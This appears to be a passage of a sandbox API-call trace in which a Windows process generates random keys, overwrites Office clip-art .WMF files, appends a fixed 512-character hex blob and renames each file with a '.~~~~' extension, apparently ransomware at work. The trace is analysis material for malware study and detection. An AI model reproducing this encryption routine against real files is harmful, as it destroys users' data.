	[0098.172] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107458.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107458.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107458.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107458.wmf.~~~~")) returned 1
	[0098.173] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0098.173] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0098.173] GetLastError () returned 0x0
	[0098.174] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0098.174] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0098.174] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0098.175] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0098.175] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0098.175] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0098.175] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=21816476699) returned 1
	[0098.175] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xa43a1530, dwHighDateTime=0x1d60e1e)) 
	[0098.175] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0098.175] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0098.175] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0098.175] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28416b8
	[0098.175] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0098.175] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28416b8 | out: hHeap=0x300000) returned 1
	[0098.175] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0098.175] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0098.175] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0098.175] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0098.175] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x285e348
	[0098.175] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0098.175] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0098.175] GetLastError () returned 0x0
	[0098.176] GetLastError () returned 0x0
	[0098.176] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0098.176] GetLastError () returned 0x0
	[0098.176] GetLastError () returned 0x0
	[0098.225] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0xfffff420, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0098.225] WriteFile (in: hFile=0xc4, lpBuffer=0x2912058*, nNumberOfBytesToWrite=0xbe0, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2912058*, lpNumberOfBytesWritten=0x1f8fec0*=0xbe0, lpOverlapped=0x0) returned 1
	[0098.225] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2912058 | out: hHeap=0x300000) returned 1
	[0098.225] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0098.225] WriteFile (in: hFile=0xc4, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0098.225] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0098.225] WriteFile (in: hFile=0xc4, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0098.225] CloseHandle (hObject=0xc4) returned 1
	[0098.226] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0098.226] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107484.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107484.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107484.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107484.wmf.~~~~")) returned 1
	[0098.242] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0098.242] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0098.242] GetLastError () returned 0x0
	[0098.242] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0098.243] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0098.243] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0098.243] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0098.243] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0098.243] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0098.243] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=21823331623) returned 1
	[0098.243] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xa445fc10, dwHighDateTime=0x1d60e1e)) 
	[0098.243] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0098.243] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0098.243] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0098.243] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28417d0
	[0098.243] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0098.244] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28417d0 | out: hHeap=0x300000) returned 1
	[0098.244] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fdc10
	[0098.244] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0098.244] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0098.244] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fdc10 | out: hHeap=0x300000) returned 1
	[0098.244] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x285e5a8
	[0098.244] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0098.244] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0098.244] GetLastError () returned 0x0
	[0098.244] GetLastError () returned 0x0
	[0098.244] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0098.244] GetLastError () returned 0x0
	[0098.244] GetLastError () returned 0x0
	[0098.276] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0xffffdd60, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0098.276] WriteFile (in: hFile=0xc4, lpBuffer=0x2912058*, nNumberOfBytesToWrite=0x22a0, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2912058*, lpNumberOfBytesWritten=0x1f8fec0*=0x22a0, lpOverlapped=0x0) returned 1
	[0098.277] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2912058 | out: hHeap=0x300000) returned 1
	[0098.277] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0098.277] WriteFile (in: hFile=0xc4, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0098.277] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0098.278] WriteFile (in: hFile=0xc4, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0098.278] CloseHandle (hObject=0xc4) returned 1
	[0098.278] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0098.278] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107496.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107496.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107496.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107496.wmf.~~~~")) returned 1
	[0098.279] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0098.279] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0098.279] GetLastError () returned 0x0
	[0098.279] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0098.280] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0098.280] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0098.280] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0098.280] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0098.281] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0098.281] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=21827071927) returned 1
	[0098.281] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xa44abed0, dwHighDateTime=0x1d60e1e)) 
	[0098.281] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0098.281] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0098.281] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0098.281] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2841878
	[0098.281] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0098.281] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2841878 | out: hHeap=0x300000) returned 1
	[0098.281] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fdc10
	[0098.281] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0098.281] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0098.281] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fdc10 | out: hHeap=0x300000) returned 1
	[0098.281] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x285e8a0
	[0098.282] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0098.282] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0098.282] GetLastError () returned 0x0
	[0098.282] GetLastError () returned 0x0
	[0098.282] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0098.282] GetLastError () returned 0x0
	[0098.282] GetLastError () returned 0x0
	[0098.715] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0xffffd374, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0098.715] WriteFile (in: hFile=0xc4, lpBuffer=0x28f9050*, nNumberOfBytesToWrite=0x2c8c, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28f9050*, lpNumberOfBytesWritten=0x1f8fec0*=0x2c8c, lpOverlapped=0x0) returned 1
	[0098.717] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28f9050 | out: hHeap=0x300000) returned 1
	[0098.717] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0098.717] WriteFile (in: hFile=0xc4, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0098.717] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0098.717] WriteFile (in: hFile=0xc4, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0098.717] CloseHandle (hObject=0xc4) returned 1
	[0098.717] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0098.717] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107512.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107512.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107512.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107512.wmf.~~~~")) returned 1
	[0098.718] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0098.718] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0098.718] GetLastError () returned 0x0
	[0098.718] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0098.719] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0098.719] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0098.719] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0098.719] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0098.719] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0098.720] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=21870964483) returned 1
	[0098.720] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xa48d6550, dwHighDateTime=0x1d60e1e)) 
	[0098.720] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0098.720] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0098.720] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0098.720] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2841920
	[0098.720] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0098.720] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2841920 | out: hHeap=0x300000) returned 1
	[0098.720] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0098.720] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0098.720] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0098.720] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0098.720] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x285ea68
	[0098.720] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0098.720] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0098.720] GetLastError () returned 0x0
	[0098.720] GetLastError () returned 0x0
	[0098.721] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0098.721] GetLastError () returned 0x0
	[0098.721] GetLastError () returned 0x0
	[0098.787] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0xffffe0f4, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0098.787] WriteFile (in: hFile=0xc4, lpBuffer=0x28f9050*, nNumberOfBytesToWrite=0x1f0c, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28f9050*, lpNumberOfBytesWritten=0x1f8fec0*=0x1f0c, lpOverlapped=0x0) returned 1
	[0098.788] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28f9050 | out: hHeap=0x300000) returned 1
	[0098.788] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0098.788] WriteFile (in: hFile=0xc4, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0098.789] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0098.789] WriteFile (in: hFile=0xc4, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0098.789] CloseHandle (hObject=0xc4) returned 1
	[0098.789] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0098.789] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107526.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107526.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107526.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107526.wmf.~~~~")) returned 1
	[0098.790] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0098.790] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0098.790] GetLastError () returned 0x0
	[0098.790] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0098.791] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0098.791] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0098.791] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0098.791] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0098.791] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0098.791] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=21878117688) returned 1
	[0098.791] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xa4994c30, dwHighDateTime=0x1d60e1e)) 
	[0098.791] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0098.791] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0098.791] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0098.791] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28419c8
	[0098.791] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0098.791] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28419c8 | out: hHeap=0x300000) returned 1
	[0098.791] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0098.791] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0098.791] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0098.792] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0098.792] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x285ec30
	[0098.792] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0098.792] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0098.792] GetLastError () returned 0x0
	[0098.792] GetLastError () returned 0x0
	[0098.792] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0098.792] GetLastError () returned 0x0
	[0098.792] GetLastError () returned 0x0
	[0098.799] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0xffffe460, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0098.799] WriteFile (in: hFile=0xc4, lpBuffer=0x28f9050*, nNumberOfBytesToWrite=0x1ba0, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28f9050*, lpNumberOfBytesWritten=0x1f8fec0*=0x1ba0, lpOverlapped=0x0) returned 1
	[0098.799] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28f9050 | out: hHeap=0x300000) returned 1
	[0098.802] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0098.802] WriteFile (in: hFile=0xc4, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0098.802] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
